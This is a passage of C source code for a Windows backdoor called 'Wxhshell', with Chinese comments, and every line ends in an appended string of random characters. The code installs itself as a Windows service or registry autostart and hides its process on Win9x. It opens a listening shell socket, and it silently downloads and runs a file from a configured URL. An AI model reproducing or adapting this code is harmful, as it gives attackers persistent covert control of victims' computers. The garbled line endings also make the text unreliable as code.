ULONG UniqueProcessId; F0GxH?
ULONG InheritedFromUniqueProcessId; (l\1n;s*B
} PROCESS_BASIC_INFORMATION; WJQvB=D&
K18}W*$
d
PROCNTQSIP NtQueryInformationProcess; bWH&P/>
`ZU($!(
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /Gd=n
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Lf16j*}-Q
Xnt~]k\"
HANDLE hProcess; #jkf1"8 C
PROCESS_BASIC_INFORMATION pbi; v&9y4\j
8L,5Q9
$
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); MV5 _L3M
if(NULL == hInst ) return 0; U bXh,QEG*
{&cJDqz5=
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^NRl//
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); M\o9I
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ZT'`hK_up
M||+qd W!
if (!NtQueryInformationProcess) return 0; *{YlN}vA
Bc(Y(X$PK
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +NeOSQSj
if(!hProcess) return 0; (uXL^oja
vq0Vq(V=
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5yd MMb
r A`V}>Xj
CloseHandle(hProcess); -f3p U:G8
w{Ivmdto
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^hG-~z<
if(hProcess==NULL) return 0; UvJ}b
qz+dmef
HMODULE hMod; H['N
char procName[255]; Vy6qbC-Kt
unsigned long cbNeeded; wrc,b{{[iM
^&B@Uw5{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "7
4-4
hB"fhX
CloseHandle(hProcess); tWJZoD6}h
2POXj!N
if(strstr(procName,"services")) return 1; // 以服务启动 44gPCW,u
cA2V2S)
return 0; // 注册表启动 - \5v^l
} O@tU.5*$5
lsgh#x
// 主模块 ],>@";9u"
int StartWxhshell(LPSTR lpCmdLine) ?~l6K(*2
{ a+[RS]le
SOCKET wsl; HU1h8E$-
BOOL val=TRUE; n3T>QgK
int port=0; <Q3oT
struct sockaddr_in door; RU'=ERYC
?5+.`L9H
if(wscfg.ws_autoins) Install(); fX(3H1$"
{'NZ.
port=atoi(lpCmdLine); ls_'')yp
cL-[ZvyVX
if(port<=0) port=wscfg.ws_port; }QN1|mP2
JUsQ,ETn
WSADATA data; Qk0R a_
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V39g,=`b%
FTH|9OP
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &SIq2>Q A
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g$":D
door.sin_family = AF_INET; :iK(JE`
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Bgn&:T8<
door.sin_port = htons(port); ,MdV;j~"'
m.JBOq=
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j5QuAU8
closesocket(wsl); ED2a}Tt>Z
return 1; h2)yq:87
} e
h&IPU S
!SC`D])l
if(listen(wsl,2) == INVALID_SOCKET) { bo,_&4?
closesocket(wsl); szb_*)k
return 1; i#&z2h-b
} >] qc-{>&
Wxhshell(wsl); &)YQv Tzs
WSACleanup(); ^Xuvy{TkPH
Yab%/z2:
return 0; wa(8Hl|Y
'@cANGg7[
} Km%]1X7T6
P!~MZ+7#&
// 以NT服务方式启动 \(J8#V
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %OtFHhb
{ Bp*K]3_
DWORD status = 0; &Q9qq~
DWORD specificError = 0xfffffff; KLU-DCb%
jPC[_g
serviceStatus.dwServiceType = SERVICE_WIN32; H;D>|q
serviceStatus.dwCurrentState = SERVICE_START_PENDING; }elc `jj
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Bt[/0>i
serviceStatus.dwWin32ExitCode = 0; 5uGqX"
serviceStatus.dwServiceSpecificExitCode = 0; )) Zf|86N
serviceStatus.dwCheckPoint = 0; WKQ^NEqr3
serviceStatus.dwWaitHint = 0; n+!
AnKq
1;d$#j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8a&:6Zuo
if (hServiceStatusHandle==0) return; Zvhsyz|
JBD7h5|Lc
status = GetLastError(); +cWLjPD/}
if (status!=NO_ERROR) PvR6
z0
{ <z+t,<3D
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7.-V-?i
serviceStatus.dwCheckPoint = 0; _G_Cj{w
serviceStatus.dwWaitHint = 0; lackB2J9 A
serviceStatus.dwWin32ExitCode = status; NnO~dRx{
serviceStatus.dwServiceSpecificExitCode = specificError; iF*:d
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Om \o#{D
return; ylUb9KusOx
} d]`CxI]
\/E>4)MD y
serviceStatus.dwCurrentState = SERVICE_RUNNING; B*qi_{Gp
serviceStatus.dwCheckPoint = 0; Pih tf4i
serviceStatus.dwWaitHint = 0; O7u(}$D
L
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]~844Jp
} ioaU*%
OHv[#xGuV?
// 处理NT服务事件,比如:启动、停止 BK*x] zG$
VOID WINAPI NTServiceHandler(DWORD fdwControl) vrl;"Fm+
{ d[[]PX
switch(fdwControl) cD@(/$wt
{ .=U#eHBdAQ
case SERVICE_CONTROL_STOP: Pnw]Tm}g
serviceStatus.dwWin32ExitCode = 0; zh4#A
<e
serviceStatus.dwCurrentState = SERVICE_STOPPED; y@]_+2Vo
serviceStatus.dwCheckPoint = 0; wWgWWXGT}
serviceStatus.dwWaitHint = 0; 9K/HO!z
{ m 2-Sx
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Xm@YVf&ZD
} (As#^q\>B
return; k[0-CB
case SERVICE_CONTROL_PAUSE: (VS5V31"
serviceStatus.dwCurrentState = SERVICE_PAUSED; ?xK8#
break; 1m+p;T$
case SERVICE_CONTROL_CONTINUE: X"MB|Ny
serviceStatus.dwCurrentState = SERVICE_RUNNING; fz;iOjr>
break; vVj
case SERVICE_CONTROL_INTERROGATE: BW-`t-,E;
break; M]<?k]_p
}; U2$d%8G
SetServiceStatus(hServiceStatusHandle, &serviceStatus); |\w=u6jX
} ^*S ,xP
wU8Mt#D!
// 标准应用程序主函数 <wZQc
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~7Y+2FZ
{ +
r!1<AAE$
"rTQG6`
// 获取操作系统版本 Xsa2(-
OsIsNt=GetOsVer(); aF8fqu\
GetModuleFileName(NULL,ExeFile,MAX_PATH); jNu9KlN
)@N2
// 从命令行安装 0fc/wfv<
if(strpbrk(lpCmdLine,"iI")) Install(); 0?sRDYaX;c
lT4Hn;tnN
// 下载执行文件
rL/H2[d
if(wscfg.ws_downexe) { |]QqXE-7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) yphS'AG
WinExec(wscfg.ws_filenam,SW_HIDE); AoY-\E
} YNYx>Ue
zG+R5:
if(!OsIsNt) { `L:CA5sBud
// 如果时win9x,隐藏进程并且设置为注册表启动 :z}MIuf
HideProc(); ]e>RK'
StartWxhshell(lpCmdLine); ~+bv6qxg]\
} {zQS$VhXr
else &-s'BT[PGq
if(StartFromService()) ?P4w]a
// 以服务方式启动 Pa(^}n|
StartServiceCtrlDispatcher(DispatchTable); `IOs-%s
else "@evXql3`
// 普通方式启动 5?p2%KQ
StartWxhshell(lpCmdLine); Zkx[[gzL
9Kg21-?
return 0; GRMiQa
}